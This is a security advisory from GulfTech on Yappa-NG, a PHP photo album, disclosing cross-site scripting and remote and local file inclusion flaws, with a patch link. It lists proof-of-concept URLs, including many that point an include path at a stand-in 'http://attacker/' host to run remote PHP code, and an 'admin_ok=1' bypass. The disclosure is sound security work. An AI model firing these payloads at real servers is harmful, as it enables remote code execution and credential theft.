Are you looking to have your application properly secured by an experienced professional? Contact us today for a free private consultation. We specialize in web application security, mobile security, and also offer general consultation services. Click here for more information regarding all of our security services.
Yappa-NG Multiple Vulnerabilities
Vendor: Fritz Berger
Product: Yappa-NG
Version: <= 2.3.1
Website: http://sourceforge.net/projects/yappa-ng/
BID: 13371 13372
CVE: CVE-2005-1311 CVE-2005-1312
OSVDB: 16546 16547 16548 16549 16550 16551 16552 16553 16554 16555 16556 16557 16558 16559 16560 16561 16562 16563
SECUNIA: 15107
PACKETSTORM: 39135
Description:
Yappa-NG is the second generation (new and improved) version of Yappa (yet another php photo album). There are several vulnerabilities in Yappa-NG that may allow an attacker to possibly take control of the vulnerable server. In order to exploit these vulnerabilities register_globals must be on. An updated version of Yappa-NG is available, and users should upgrade as soon as possible.


Cross Site Scripting:
Cross site scripting exists in Yappa-NG. This vulnerability exists due to user supplied input not being checked properly.

http://host/admin_modules/admin_module_info.inc.php?lang_akt[admin_ainfo_hmain]=[XSS]
http://host/src/index_footer-copyright.inc.php?config[release]=[XSS]
http://host/src/index_thumbs.inc.php?page[thumb_table_width]=[XSS]

This vulnerability could be used to steal cookie based authentication credentials within the scope of the current domain, or render hostile code in a victim's browser.


Arbitrary File Inclusion:
Yappa-NG is prone to both remote and local file include vulnerabilities which may allow for an attacker to execute arbitrary commands on the victim webserver by including malicious files.

http://host/admin_modules/admin_module_captions.inc.php?config[path_src_include]=http://attacker/
http://host/admin_modules/admin_module_rotimage.inc.php?config[path_src_include]=http://attacker/
http://host/admin_modules/admin_module_delcomments.inc.php?config[path_src_include]=http://attacker/
http://host/admin_modules/admin_module_edit.inc.php?config[path_src_include]=http://attacker/
http://host/admin_modules/admin_module_delimage.inc.php?config[path_src_include]=http://attacker/
http://host/admin_modules/admin_module_deldir.inc.php?config[path_src_include]=http://attacker/
http://host/src/index_overview.inc.php?config[path_src_include]=http://attacker/
http://host/src/image-gd.class.php?config[path_src_include]=http://attacker/
http://host/src/image.class.php?config[path_src_include]=http://attacker/&config[image_module]=blah
http://host/src/album.class.php?config[path_src_include]=http://attacker/
http://host/src/show_random.inc.php?config[path_src_include]=http://attacker/
http://host/src/main.inc.php?config[path_src_include]=http://attacker/
http://host/src/index_passwd-admin.inc.php?admin_ok=1&config[path_admin_include]=http://attacker/

If globals are set to on, and no include restrictions are in effect then we can include any php code of our choice remotely. Of course the server hosting the malicious file to be included could not have php enabled, or the file would be parsed before it reached the victim server. This issue is very dangerous when present, but regardless of your server configuration you are still encouraged to upgrade immediately.


Solution:
The developer was contacted quite some time ago, and a patch has been available for several weeks. The patch can be found here.

https://sourceforge.net/project/showfiles.php?group_id=70802

All Yappa-NG users are advised to upgrade immediately.


Credits:
James Bercegay of the GulfTech Security Research Team